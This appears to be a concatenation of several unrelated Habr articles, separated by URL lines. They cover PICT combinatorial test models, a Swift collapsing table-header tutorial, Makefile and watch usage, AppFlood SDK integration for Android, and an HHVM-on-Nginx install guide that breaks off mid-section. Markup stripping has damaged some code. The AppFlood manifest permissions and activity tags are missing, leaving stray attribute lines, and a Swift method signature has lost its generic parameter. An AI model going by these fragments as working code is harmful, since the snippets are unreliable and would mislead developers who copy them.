Большинство инструментов для генерации комбинаторных тестов умеют выдавать результат в виде файла с данными, который может быть передан на вход соответствующим автотестам. Такой пример (используется инструмент [PICT](http://download.microsoft.com/download/f/5/5/f55484df-8494-48fa-8dbd-8c6f76cc014b/pict33.msi)) и будет рассмотрен ниже.
#### Пример 1. Серия и номер паспорта
При условии использования автоматизированного тестирования для серии и номера паспорта можно составить исчерпывающий набор позитивных тестов, поскольку требования к этому полю строги — ровно две заглавных буквы украинского алфавита (кроме Ґ, Ї, Ь) и шесть цифр от 0 до 9. Всего таких тестов будет (33-3)2\*106 = 9\*108. Однако, редко встречаются случаи, когда требования к полю настолько строгие, да и вряд ли нужно проводить исчерпывающее тестирование. Скорее всего, достаточно проверить возможность ввода каждой отдельной буквы и каждой отдельной цифры на каждой позиции соответственно. Задачу составления таких тестов вполне может решить инструмент комбинаторного тестирования:
```
SERIES_1: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
SERIES_2: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
NUMBER_1: 0,1,2,3,4,5,6,7,8,9
NUMBER_2: 0,1,2,3,4,5,6,7,8,9
NUMBER_3: 0,1,2,3,4,5,6,7,8,9
NUMBER_4: 0,1,2,3,4,5,6,7,8,9
NUMBER_5: 0,1,2,3,4,5,6,7,8,9
NUMBER_6: 0,1,2,3,4,5,6,7,8,9
{SERIES_1, SERIES_2, NUMBER_1, NUMBER_2, NUMBER_3, NUMBER_4, NUMBER_5, NUMBER_6} @ 1
```
*Модель 1*
```
Щ З 4 6 3 1 1 5
І Є 8 3 8 9 9 3
А Н 3 0 5 8 6 2
М С 4 3 4 1 3 1
Є Я 4 6 7 3 1 4
Г Ц 0 2 4 5 2 0
```
*Часть результатов моделирования*
Аналогично можно составить негативные тесты (PICT позволяет пометить их специальным символом "~").
```
SERIES_1: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
SERIES_2: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
NUMBER_1: 0,1,2,3,4,5,6,7,8,9,~A,~B,~C,~D,~E,~F
NUMBER_2: 0,1,2,3,4,5,6,7,8,9,~A,~B,~C,~D,~E,~F
NUMBER_3: 0,1,2,3,4,5,6,7,8,9,~A,~B,~C,~D,~E,~F
NUMBER_4: 0,1,2,3,4,5,6,7,8,9,~A,~B,~C,~D,~E,~F
NUMBER_5: 0,1,2,3,4,5,6,7,8,9,~A,~B,~C,~D,~E,~F
NUMBER_6: 0,1,2,3,4,5,6,7,8,9,~A,~B,~C,~D,~E,~F
```
*Модель 2*
```
З У 1 3 7 2 7 4
Л Ю ~B 7 3 2 7 9
А Є 8 8 2 0 ~A 8
```
*Часть результатов моделирования*
Из этих файлов потом можно будет читать построчно (разделитель — знак табуляции) и заполнять поля в приложении.
#### Пример 2. Увеличение тестового покрытия с помощью дополнительного параметра
Иногда баги, связанные с валидациями, зависят от того, каким образом пользователь вводит невалидные данные: с клавиатуры (физической или экранной), с помощью контекстного меню копирования-вставки, горячих клавиш, перетаскивания выделенного текста. Например, часто перетаскивание текста не обрабатывается клиентской валидацией, если таким образом вводятся некорректные данные. Способ ввода можно ввести в модель в качестве дополнительного параметра и учесть его при составлении автотестов.
```
SERIES_1: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
SERIES_2: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
NUMBER_1: 0,1,2,3,4,5,6,7,8,9
NUMBER_2: 0,1,2,3,4,5,6,7,8,9
NUMBER_3: 0,1,2,3,4,5,6,7,8,9
NUMBER_4: 0,1,2,3,4,5,6,7,8,9
NUMBER_5: 0,1,2,3,4,5,6,7,8,9
NUMBER_6: 0,1,2,3,4,5,6,7,8,9
INPUT: keyboard, screen keys, context menu, copy paste, drag-n-drop
```
*Модель 3*
```
М Л 0 8 0 8 5 9 keyboard
Ю У 0 0 2 3 2 2 drag-n-drop
С Ч 5 3 6 2 1 0 screen keys
Я Д 3 9 4 1 6 7 context menu
У Ш 9 9 0 7 4 4 copy paste
```
*Часть результатов моделирования*
#### Пример 3. Тесты для систем принятия решений, валидация требований
Для систем принятия решений иногда составляются исчерпывающие тестовые наборы, которые потом можно использовать не только для тестирования, но и для валидации требований. Применяя последовательно правила системы к каждому тесту, можно посмотреть, не получаются ли противоречивые результаты.
Валидация требований — очень немаловажная часть тестирования в данном случае, поскольку можно обнаружить скрытые противоречия. Инструмент генерации комбинаторных тестов позволит не только составить тесты, но и задать условия, накладываемые на входные данные. Если эти условия делают какие-то из возможных данных недостижимыми, инструмент укажет на это, что может послужить сигналом тщательной проверки требований на непротиворечивость.
```
AGE: 0-17, 18-21, 22-65, >=66
CHILDREN: Y, N
SMOKING: Y, N
WORK: 0-5, 6-10, >=11
{AGE, CHILDREN, SMOKING, WORK} @ 4
IF [AGE] = "0-17" THEN [WORK] <> ">=11";
IF [WORK] =">=11" THEN [AGE] = "0-17";
```
*Модель 4*
```
Constraints Warning: Restrictive constraints. Output will not contain following values
WORK: >=11
```
*Реакция инструмента на противоречивые требования*
В данной модели есть противоречивые требования, которые отсекают значение WORK: >=11, и оно не появляется ни в одном из тестов. К сожалению, инструмент не дает ответа на вопрос, какие именно условия вызывают противоречие, только показывает, какое значение исключено из тестов. Однако, этой информации может быть достаточно, чтобы выделить из всего массива ограничений те, что влияют на этот параметр, и проанализировать их на предмет противоречивости.
Исчерпывающий набор тестов в дальнейшем может быть использован для техники тест-дизайна «причина-следствие».
#### Пример 4. Формирование параметров окружений для конфигурационного тестирования
Инструменты для комбинаторного тестирования позволяют также составлять список возможных конфигураций, который потом можно отсортировать по популярности использования, вычеркнуть неподходящие и т.д. Если не обязательно проводить все тесты для каждой из конфигураций, можно поделить их равномерно между выбранными окружениями, добавив окружение в качестве еще одного параметра для генерации тестовых данных (так, как это делалось в примере со способом ввода данных).
```
BROWSER: IE, Firefox, Chrome, Opera
LANG: en, ru, ua
OS: win, linux, android
{BROWSER, LANG, OS} @ 1
IF [OS] = "linux" THEN [BROWSER] <> "IE";
```
*Модель 5*
```
IE ua win
Firefox en win
Opera ua linux
Chrome ru android
```
*Результаты моделирования*
```
SERIES_1: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
SERIES_2: А,Б,В,Г,Д,Е,Є,Ж,З,І,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ю,Я
NUMBER_1: 0,1,2,3,4,5,6,7,8,9
NUMBER_2: 0,1,2,3,4,5,6,7,8,9
NUMBER_3: 0,1,2,3,4,5,6,7,8,9
NUMBER_4: 0,1,2,3,4,5,6,7,8,9
NUMBER_5: 0,1,2,3,4,5,6,7,8,9
NUMBER_6: 0,1,2,3,4,5,6,7,8,9
ENVIRONMENT: IE ua win, Firefox en win, Opera ua linux, Chrome ru android
```
*Модель 6*
#### Пример 5. Составление нескольких тестов с учетом большого количества ограничений
Безусловно, комбинаторное тестирование можно применять и для генерации тестов, которые выполняются вручную, но как мне кажется, это стоит делать, только если есть очень большое количество ограничений, которые трудно удержать в голове. Из-за наличия условий количество тестов может быть ограничено, так сказать, естественным образом, и инструмент позволит получить все возможные тестовые данные, подходящие под все накладываемые на них условия. При этом тесты можно выполнить и вручную.
```
AGE: 0-17, 18-21, 22-65, >=66
CHILDREN: 0, 1, 2, 3, 4, 5
SMOKING: Y, N
WORK: 0-5, 6-10, >=11
IF [AGE] = "0-17" THEN [WORK] <> ">=11";
IF [AGE] = "0-17" THEN [CHILDREN] = 0;
IF [AGE] = "18-21" THEN [CHILDREN] < 2;
IF [CHILDREN] > 0 THEN [SMOKING] = "N";
IF [AGE] = ">=66" THEN [WORK] <> "0-5";
IF [AGE] = "0-17" OR [AGE] = "18-21" THEN [WORK] = "0-5";
```
*Модель 6*
```
22-65 2 N 0-5
18-21 1 N 0-5
>=66 2 N 6-10
22-65 4 N 6-10
22-65 5 N 6-10
22-65 3 N 6-10
>=66 4 N >=11
22-65 5 N >=11
0-17 0 Y 0-5
>=66 3 N >=11
22-65 4 N 0-5
22-65 2 N >=11
18-21 0 Y 0-5
22-65 0 Y >=11
22-65 1 N 6-10
22-65 3 N 0-5
>=66 1 N >=11
0-17 0 N 0-5
>=66 0 Y 6-10
>=66 5 N >=11
22-65 5 N 0-5
```
*Результаты моделирования — 21 тест* | https://habr.com/ru/post/261381/ | null | ru | null |
# Creating UITableView with a dynamic header
Hello there! Recently, I had very cool experience at my work. I needed to set tableView with a dynamic header. The information in the header was complete in the initial state, and when the user was scrolling the table, some part in the header was smoothly hiding and the main part remained on the top. Cool, right?
I have created two files `HeaderView` and, of course, `ViewController`.
First of all, let’s take a look at `HeaderView`. I have added three views with different colors as an example in `UIStackView` in `HeaderView`. All the magic with a smooth hidden and alpha of this objects will be here. Also, we have var height. In the observer (`didSet`) we will calculate an actual height of our `HeaderView` and make the colored views invisible or not.
```
private lazy var blueView: UIView = {
let view = UIView()
view.backgroundColor = .blue
view.heightAnchor.constraint(equalToConstant: 72).isActive = true
return view
}()
private lazy var greenView: UIView = {
let view = UIView()
view.backgroundColor = .green
view.heightAnchor.constraint(equalToConstant: 72).isActive = true
return view
}()
private lazy var yellowView: UIView = {
let view = UIView()
view.backgroundColor = .yellow
view.heightAnchor.constraint(equalToConstant: 72).isActive = true
return view
}()
private let stackView: UIStackView = {
let stackView = UIStackView()
stackView.axis = .vertical
stackView.spacing = 16
stackView.translatesAutoresizingMaskIntoConstraints = false
return stackView
}()
var height: CGFloat = 340 {
didSet {
let diagramAlpha = 1.0 - (maxHeight - height > 140.0 ? 140.0 : maxHeight - height) / 140.0
blueView.alpha = diagramAlpha
yellowView.alpha = diagramAlpha
if diagramAlpha < 0.3 {
blueView.isHidden = true
yellowView.isHidden = true
} else {
blueView.isHidden = false
yellowView.isHidden = false
}
layoutIfNeeded()
}
}
```
In `HeaderView` I have min/max Height variable we needed to set actual value from view controller
```
var maxHeight: CGFloat = 340
var minHeight: CGFloat = 110
```
The next step – we are going to the controller. I am creating the usual `UITableView`and adding our `HeaderView`. For the both objects I am setting `topAnchor = view.topAnchor`
Then I am creating three methods that will do all the magic.
```
private func calculateHeaderViewHeight(for currentOffset: CGFloat) {
if currentOffset <= 0 {
setHeaderViewHeight(for: headerView.maxHeight)
} else {
var newHeight = headerView.maxHeight - currentOffset
if newHeight < headerView.minHeight {
newHeight = headerView.minHeight
}
setHeaderViewHeight(for: newHeight)
}
}
private func setHeaderViewHeight(for newHeight: CGFloat) {
if headerViewHeightConstraint?.constant != newHeight {
headerViewHeightConstraint?.constant = newHeight
headerView.height = newHeight
}
}
private func changeHeaderStateIfNeeded() {
var offset = CGPoint(x: 0, y: -480)
var tableContentInset: UIEdgeInsets = .zero
offset = CGPoint(x: 0, y: -480)
tableContentInset.top = 330
tableView.contentInset = tableContentInset
tableView.setContentOffset(offset, animated: true)
setHeaderViewHeight(for: headerView.maxHeight)
view.layoutIfNeeded()
}
```
And I am adding `calculateHeaderViewHeight` in `func scrollViewDidScroll(_ scrollView: UIScrollView)` that will observe `contentInset` and `contentOffset`and set the necessary state.
```
func scrollViewDidScroll(_ scrollView: UIScrollView) {
let currentOffset = scrollView.contentOffset.y + scrollView.contentInset.top
calculateHeaderViewHeight(for: currentOffset)
}
```
And last but not least if you want to add an automatic and smooth transition for your tableView, just add this code.
```
func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) {
let currentOffset = scrollView.contentOffset.y + scrollView.contentInset.top
var offset: CGPoint = .zero
let transition = UIViewPropertyAnimator(duration: 0.0, dampingRatio: 1) {
if currentOffset < 170 {
offset.y = -300
} else {
guard currentOffset < 276 else { return }
offset.y = -230
}
DispatchQueue.main.async {
self.tableView.setContentOffset(offset, animated: true)
}
}
transition.startAnimation()
}
```
And don’t forget the code that we need to write for the moment when we will stop dragging our tableView.
```
func scrollViewWillEndDragging(_ scrollView: UIScrollView, withVelocity velocity: CGPoint, targetContentOffset: UnsafeMutablePointer) {
targetContentOffset.pointee.y = max(targetContentOffset.pointee.y - 1, 1)
}
```
Let's see what we have finally got in `ViewController`.
```
import UIKit
class ViewController: UIViewController {
private var headerViewHeightConstraint: NSLayoutConstraint?
private lazy var headerView: HeaderView = {
let view = HeaderView()
view.translatesAutoresizingMaskIntoConstraints = false
view.backgroundColor = .white
return view
}()
private lazy var tableView: UITableView = {
let tableView = UITableView(frame: .zero, style: .grouped)
tableView.separatorStyle = .none
tableView.delegate = self
tableView.dataSource = self
tableView.showsVerticalScrollIndicator = false
tableView.backgroundColor = .gray
tableView.translatesAutoresizingMaskIntoConstraints = false
return tableView
}()
var numbersArray = ["One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine", "Ten"]
// MARK: - Life cycle
override func viewDidLoad() {
super.viewDidLoad()
setupUI()
}
// MARK: Private
private func calculateHeaderViewHeight(for currentOffset: CGFloat) {
if currentOffset <= 0 {
setHeaderViewHeight(for: headerView.maxHeight)
} else {
var newHeight = headerView.maxHeight - currentOffset
if newHeight < headerView.minHeight {
newHeight = headerView.minHeight
}
setHeaderViewHeight(for: newHeight)
}
}
private func setHeaderViewHeight(for newHeight: CGFloat) {
if headerViewHeightConstraint?.constant != newHeight {
headerViewHeightConstraint?.constant = newHeight
headerView.height = newHeight
}
}
private func changeHeaderStateIfNeeded() {
var offset = CGPoint(x: 0, y: -480)
var tableContentInset: UIEdgeInsets = .zero
offset = CGPoint(x: 0, y: -480)
tableContentInset.top = 330
tableView.contentInset = tableContentInset
tableView.setContentOffset(offset, animated: true)
setHeaderViewHeight(for: headerView.maxHeight)
view.layoutIfNeeded()
}
}
// MARK: SetupUI
extension ViewController {
private func setupUI() {
view.addSubview(tableView)
view.addSubview(headerView)
view.backgroundColor = .white
let headerHeightConstraint = headerView.heightAnchor.constraint(equalToConstant: headerView.maxHeight)
self.headerViewHeightConstraint = headerHeightConstraint
NSLayoutConstraint.activate([
headerView.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor),
headerView.leadingAnchor.constraint(equalTo: view.leadingAnchor),
headerView.trailingAnchor.constraint(equalTo: view.trailingAnchor),
headerHeightConstraint,
tableView.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor),
tableView.leftAnchor.constraint(equalTo: view.leftAnchor),
tableView.rightAnchor.constraint(equalTo: view.rightAnchor),
tableView.bottomAnchor.constraint(equalTo: view.bottomAnchor)
])
changeHeaderStateIfNeeded()
}
}
// MARK: UITableViewDelegate
extension ViewController: UITableViewDataSource, UITableViewDelegate {
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return numbersArray.count
}
func tableView(_ tableView: UITableView, viewForFooterInSection section: Int) -> UIView? {
return nil
}
func tableView(_ tableView: UITableView, heightForFooterInSection section: Int) -> CGFloat {
return .leastNormalMagnitude
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = UITableViewCell()
var contentConfiguration = UIListContentConfiguration.sidebarCell()
contentConfiguration.text = numbersArray[indexPath.row]
cell.contentConfiguration = contentConfiguration
cell.backgroundColor = .gray
return cell
}
func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
return 64
}
}
// MARK: UIScrollView
extension ViewController {
func scrollViewDidScroll(_ scrollView: UIScrollView) {
let currentOffset = scrollView.contentOffset.y + scrollView.contentInset.top
calculateHeaderViewHeight(for: currentOffset)
}
func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) {
let currentOffset = scrollView.contentOffset.y + scrollView.contentInset.top
var offset: CGPoint = .zero
let transition = UIViewPropertyAnimator(duration: 0.0, dampingRatio: 1) {
if currentOffset < 170 {
offset.y = -300
} else {
guard currentOffset < 276 else { return }
offset.y = -230
}
DispatchQueue.main.async {
self.tableView.setContentOffset(offset, animated: true)
}
}
transition.startAnimation()
}
func scrollViewWillEndDragging(_ scrollView: UIScrollView, withVelocity velocity: CGPoint, targetContentOffset: UnsafeMutablePointer) {
targetContentOffset.pointee.y = max(targetContentOffset.pointee.y - 1, 1)
}
}
```
I hope you have enjoyed this article and it has been useful for you. Thanx for reading! And feel free to like it. | https://habr.com/ru/post/709736/ | null | en | null |
# Компоненты. Make & watch
[в начало заметок о компонентах](http://habrahabr.ru/post/209350/)
make vs. grunt vs. gulp, watch
==============================
task runners — класс утилит, автоматизирующих процесс преобразования файлов. Их много, Make, Rake, Cake, etc. Обычно выполняемые задачи очень важны и выполняются часто, и очень часто. Компиляция, запуск тестов, рендеринг и преобразование форматов файлов, минификация js-файлов, преобразование CSS. Крайне важная вещь для ежедневной работы.
[grunt](http://gruntjs.com/) (хрюкание). Gruntfile.js — это конфигурационный файл для утилиты grunt. Gruntfile.js интуитивно понятен, одного взгляда на образец достаточно, чтобы создать подобный для своей задачи. Но gruntfile.js крайне уродлив, вдобавок авторы `gulp` пишут, что `grunt` крайне неэффективен. Писать, и читать `gruntfile.js` быстро становится очень скучно.
[gulp](https://github.com/gulpjs/gulp) (глоток «свежего воздуха»). В отличие от gruntfile.js, gulpfile.js является не конфигурационным файлом, а программой на node.js. Посмотрите [сравнение двух файлов](http://travismaynard.com/writing/no-need-to-grunt-take-a-gulp-of-fresh-air). Да, это много удобнее и привычнее. Вдобавок, плагины gulp выполняют каждый свою задачу. Например, чтобы минифицировать js-файл, нужно вызвать два плагина, один минифицирует файл, а другой переименует его в файл.min.js. Это правильно. Но размер guplfile.js почти не меньше, чем gruntgile.js, и в десятый раз создавать его столь же унылый процесс. Тем не менее, дело вкуса, но, имхо, `gulp` много удобнее `grunt`.
Make же великолепен, и мощен, но Makefile имеет тот недостаток, что он весьма непонятен. Есть либо полное, очень подробное и сухое описание — [учебник](http://www.gnu.org/software/make/manual/make.html). Либо множество руководств, пересказывающих один и тот же текст из 1960-х годов прошлого тысячелетия, когда не существовало еще языков программирования, а язык C был еще в разработке. Вот эти замшелые примеры на C и пересказываются. Однако, разобраться в Makefile можно. Это позволит забыть и о `grunt`, и о `gulp`. В component-сообществе, как и node-сообществе `Makefile` очень популярен, поэтому и обсуждается здесь.
Makefile — обзор
----------------
`make` может выполнять любые shell-команды, и обрабатывать файлы любых типов, ограничений нет. Единственное — перед командой должен быть не пробел, а табулятор. (Все же прошлое тысячелетие, сильные были люди). Еще замечание — есть жалобы на имена файлов, имеющие пробелы.
`Макеfile` состоит из описания переменных и правил.
### target-правила
target-правила в Makefile организованы так:
```
target: sources
tab -> commands
tab ->tab -> commands, сл. строка той же команды
```
здесь `target` — то, что нам нужно получить, sources — массив файлов исходников. Обычно `target` — это просто файл, за исключением специальных `PHONY` целей (см. ниже).
Если `make` встречает ошибку, он прерывает работу. (опция -i игнорировать ошибки).
`make` использует `mtime` — время последнего изменения файла. `target` считается готовым, если во-первых, он уже существует, и во-вторых он новее, чем его исходник. Поэтому make обрабатывает только те файлы, которые изменились.
`make` начинает с цели-target заданного правила. Если вызвать make без параметра, то это первое правило. Он смотрит исходники, и если для них есть свои правила, рекурсивно проверяет их. Порядок обработки исходников в массиве произвольный!
`make` идет вниз по цепочке исходников, пока не находит готовой цели, или цели не имеющей исходников, или его исходники не имеют своих правил. Когда он находит такой случай, он возвращается обратно по цепочке рекурсии, выполняя соответствующие команды. `make` создает цепочки рекурсии для каждого исходника.
правила нужно разделять пустой строкой.
### pattern правила
[pattern правила](http://www.gnu.org/software/make/manual/make.html#Pattern_002dspecific) описывают, что делать с конкретным расширением, и имеют вид:
```
%.js: %.html
@component convert $<;
```
### phony — правила
phony-правила — это не файлы, а команды. Они могут иметь исходники, рекурсию и все, что имеют другие правила, но для них не вычисляется mtime. Например:
```
clean:
rm -fr build components $(TEMPLATES)
.PHONY: clean
```
phony-правила нужно описать в специальной переменной `.PHONY`
описание переменных
-------------------
Есть автоматические, предзаданные переменные, их нужно понимать. Вот несколько часто встречающихся $@ — имя цели, $+ — все исходники, через пробел, $<; — имя первого исходника. Полный список в учебнике — <http://www.gnu.org/software/make/manual/make.html#Automatic-Variables>
Обычные переменные (файлы, требующие обработки, цели, имеющие файлы в исходниках) — можно просто перечислить
```
JS = index.js example.js
```
но часто удобно их вычислять с помощью shell:
```
CF = $(shell find templates -name "*.coffee")
```
или с помощью встроенной утилиты wildcard:
```
SRC = $(wildcard client/*/*.js)
```
Или определить `targets` из уже созданной переменной:
```
HTML = $(JADE: .jade=.html)
```
В последнем случае сами html-файлы пока не создаются, но только массив их имен для дальнейшей обработки.
примеры задания переменных и правил:
------------------------------------
```
SRC = $(wildcard client/*/*.js)
HTML = $(wildcard client/*/*.html)
TEMPLATES = $(HTML:.html=.js)
build: components $(SRC) $(TEMPLATES)
@component build
components: component.json
@component install
%.js: %.html
@component convert $<;
```
Что здесь происходит? make встречает имя components, обнаруживает такую директорию, и если мы внесли изменения в файл component.json, выполняет install.
Далее он переходит к SRC, это массив файлов JS. Он смотрит 'исходники' первого файла .js, находит pattern-правило для .js и выполняет его из исходника .html. Затем собирает все в единый `build/build.js` см. `component build`, `component convert`.
еще пример:
```
JADE = $(shell find templates -name "*.jade")
HTML = $(JADE:.jade=.html)
all: $(HTML)
%.html: %.jade
jade < $< > $@
```
пример pattern-правил — обработать coffee, jade:
```
%.js: %.coffee
@coffee -c $<
%.js: %.jade
@jade -c $<
```
Естественно, утилиты `coffee`, `jade` должны быть установлены в системе.
watch
=====
[watch](https://github.com/visionmedia/watch) — это не компонента, не node.js утилита, а обычная unix-утилита. (Странно, что ее нет в [Altlinux](http://altlinux.ru), например).
клонируем и ставим ее:
```
$ PREFIX=~ make install
```
и запускаем `make`
```
$ watch make &;
```
Сравните с тем, что нужно сделать для отслеживания изменений в исходниках, и авто-перекомпиляции в `grunt`. В `gulp` эта функциональность встроенно в ядро, а не является плагином. Но от этого не легче, чтобы запустить ее в `gulpfile.js`. Даже не хочется приводить пример кода.
В Makefile можно организовать то же самое и без утилиты watch:
```
.PHONY: continuously
continuously:
while true; do make 1>/dev/null; sleep 3; done
```
*продолжение следует* | https://habr.com/ru/post/209442/ | null | ru | null |
# Кросс-продвижение Android-приложений с помощью сети AppFlood
Каждый, кто хоть раз пробовал разработать и опубликовать свое мобильное приложение, в конце концов сталкивается с двумя проблемами: как его раскрутить и как на нем заработать. Вот и у меня возникли такие же вопросы, когда я впервые выложил свое первое и на сегодняшний день [единственное приложение](https://play.google.com/store/apps/details?id=com.alkor.compass.metro).
Часто в статьях о продвижении приложений говорится о кросс-продвижении, когда разработчики разных приложений рекламируют друг друга. Можно, конечно, самостоятельно искать близкие по духу приложения и пытаться связаться с их авторами, договариваться, но это утомительно и долго. Поэтому у меня возникло желание найти сеть кросс-продвижения приложений, где можно было бы за рекламу чужих приложений рекламировать своё и никому не платить за это.
По запросу «cross promotion android» Google мне выдал на первом месте сервис [AppFlood](http://appflood.com), который как раз для эти целей и существует.
#### Участники
Пользователей сервиса можно разделить на следующие категории:
— Те, кто хотят только рекламировать свои приложения (Advertisers)
— Те, кто хотят зарабатывать на рекламе приложений (Publishers)
— Те, кто хотят рекламировать свои приложения в обмен на рекламу в своем (Exchangers)
#### Как это все работает
Все крутится вокруг местной «игровой валюты» (points). Она зарабатывается за счет показа чужой рекламы и тратится на показ своей. Поинты, естественно, могут покупаться за деньги. Таким образом, если разработчик не хочет засорять свое приложение рекламой, а хочет только своей раскрутки, он покупает поинты и пользуется услугами других разработчиков.
Если же разработчик наоборот не нуждается в пиаре, у него уже много пользователей и он хочет денег, он становится паблишером. А тот, кто намерен обмениваться рекламой, зарабатывает поинты, а на них рекламирует свое приложение.
Основной профит здесь в том, что сервис не берет никакой комиссии, а все денежные средства перемещаются между разработчиками.
#### Если Вы Publisher
Если Вы хотите зарабатывать на рекламе поинты, для начала необходимо (кроме того, что разработать своё приложение), интегрировать SDK в свое приложение. Делается это достаточно просто:
1) Качаем библиотеки [здесь](http://appflood.com/images/xpromt/cption/images/download/appflood_v1.50.zip)
2) Добавляем разрешения в манифест своего приложения:
3) Так же в секцию application манифеста добавляем следующие activity:
``android:name="com.appflood.AFPanelActivity"`
`android:configChanges="keyboardHidden">`
``android:name="com.appflood.AFFullScreenActivity"`
`android:configChanges="keyboardHidden|orientation"`
`android:theme="@android:style/Theme.Translucent"`
`android:launchMode="singleTask">`
``android:name="com.appflood.AFListActivity"`
`android:configChanges="keyboardHidden|orientation"`
`android:launchMode="singleTask"`
`android:theme="@android:style/Theme.Translucent">`
AFPanelActivity — панельная реклама (For More Games панель)
AFFullScreenActivity — полно экранная реклама
AFListActivity — форма рекламы списком
AFNotificationService, NotificationActivity — реклама в виде уведомлений
4) Копируем и подключаем в приложении appflood-x.xx.jar из архива
5) Далее в *onCreate* методе того activity, в котором хотим показывать рекламу, инициализируем AppFlood:
`AppFlood.initialize(this, "een7eBPj5JqYnPWT", "0SlxlfxQ18L4f9624b8", AppFlood.AD_ALL)`
Здесь 2-й и 3-й параметры — ключи, которые генерируются при регистрации в системе.
AppFlood.AD\_ALL — указывает, что мы собираемся показывать рекламу всех видов.
6) Показываем рекламу там где хотим:
AppFlood.showFullScreen(this) — показать полно экранную рекламу
AppFlood.showPanel(this, type) — показать панель с приложениями, где type принимает значения PANEL\_TOP или PANEL\_BOTTOM и задает положение панели (вверху или внизу)
AppFlood.showList(this) — показ списка рекламных приложений
Когда интеграция с AppFlood закончена, необходимо опубликовать новую версию в GooglePlay и зарегистрировать приложение в личном кабинете AppFlood и получить аппрув.
Когда аппрув будет на руках, можно начинать следить за показами, кликами и установками рекламируемых приложений на странице статистики в личном кабинете.
Что характерно, за показы и клики поинты не начисляются, зато за каждую установку можно заработать от 30 поинтов (по сути, центов).
#### Если Вы Advertiser
Если вы хотите рекламировать свои приложения, Вам необходимо создать рекламную компанию, но здесь как и везде: целевая аудитория, дневной бюджет, ставка за установку и т.д.
#### Мой личный опыт
AppFlood я использовал исключительно как паблишер в целях заработать поинтов на раскрутку своего приложения, рассказывать о котором не буду в данном посте. Встроена была только полно экранная реклама, которая срабатывала при выходе из приложения в случае, если пользователь отказался оставить фидбэк и поделиться с друзьями.
Поскольку аудитория моего приложения достаточно маленькая (в день согласно Google Analytics его запускают всего раз 100), среднесуточное количество кликов держалось на уровне 5-10, а установка была крайне редким явлением.
В результате я заработал 360 поинтов или 3 доллара 60 центов.
Поскольку рекламируемые приложения часто повторялись преимущественно это были игры, я сделал вывод, что у AppFlood еще очень маленькая база приложений, поэтому заработать денег на рекламе здесь будет не так просто.
С другой стороны, это реально работающая система, работать с которой можно абсолютно бесплатно и довольно просто, поэтому она может быть интересна начинающим разработчикам.``` | https://habr.com/ru/post/188132/ | null | ru | null |
# HHVM, Nginx и PHP (а также Laravel)
Множество людей интересовалось установкой HHVM на Nginx для использования с Laravel. Давайте приступим.
***HHVM (или HipHop Virtual Machine)** — это виртуальная машина, предназначенная для выполнения программ, написанных на PHP. Использует технологию JIT компиляции для увеличение скорости выполнения байткода.*
##### Вступление
Как и в большинстве моих статей, я буду использовать Ubuntu 12.04 LTS как сервер для установки нашего добра. Однако, мы вполне можем установить это все на Mac с помощью Brew ([nginx](http://learnaholic.me/2012/10/10/installing-nginx-in-mac-os-x-mountain-lion/) и [hhvm](https://github.com/facebook/hhvm/wiki/Building-and-installing-HHVM-on-OSX-10.8)). Информация об установке HHVM на другие платформы (включая новые версии Ubuntu) может быть найдена [здесь](http://www.hhvm.com/blog/1817/fastercgi-with-hhvm).
Ну что же, поехали!
##### Установка основы
Сначала, установим базовые вещи, необходимые для нашей цели:
```
$ sudo apt-get update
$ sudo apt-get install -y unzip vim git-core curl wget build-essential python-software-properties
```
##### Установка Nginx
Далее, установим Nginx. Почему он идет первым? Так как при установке пакета **hhvm-fastcgi**, он [пакет] изменит некоторые конфигурации Nginx, если обнаружит его.
```
$ sudo apt-get install -y nginx
```
##### Установка HHVM FastCGI
Судя по [блогу HHVM](http://www.hhvm.com/blog/1817/fastercgi-with-hhvm) мы можем установить HHVM с FastCGI. Следующий код установит HHVM и настроит для работы с FastCGI.
```
$ echo deb http://dl.hhvm.com/ubuntu precise main | sudo tee /etc/apt/sources.list.d/hhvm.list
$ sudo apt-get update
$ sudo apt-get install -y --force-yes hhvm-fastcgi
```
*Примечание:* я добавил флаг **--force-yes** для устранения некоторых проблем зависимостей.
##### Настройка HHVM
HHVM это по сути собственная версия PHP, поэтому нам не нужно устанавливать PHP отдельно. После установки вы можете использовать HHVM как обычный PHP. Для примера, вы можете исполнять php-файлы:
```
$ hhvm some_file.php
```
Так как у нас, вероятно, есть Composer и PHPUnit, которые предполагают доступность из командной строки, мы можем создать симлинк php на hhvm:
```
$ sudo ln -s `which hhvm` /usr/local/bin/php
```
Теперь мы можем использовать PHP как обычно!
```
$ php -v
HipHop VM v2.3.2 (rel)
Compiler: tags/HHVM-2.3.2-0-gf951cb8d8812c59344d5322454853b584b668636
Repo schema: 5b5a4fc9cde5a5d014d1dfdb491bf74e4e700131
```
##### HHVM Fast-CGI
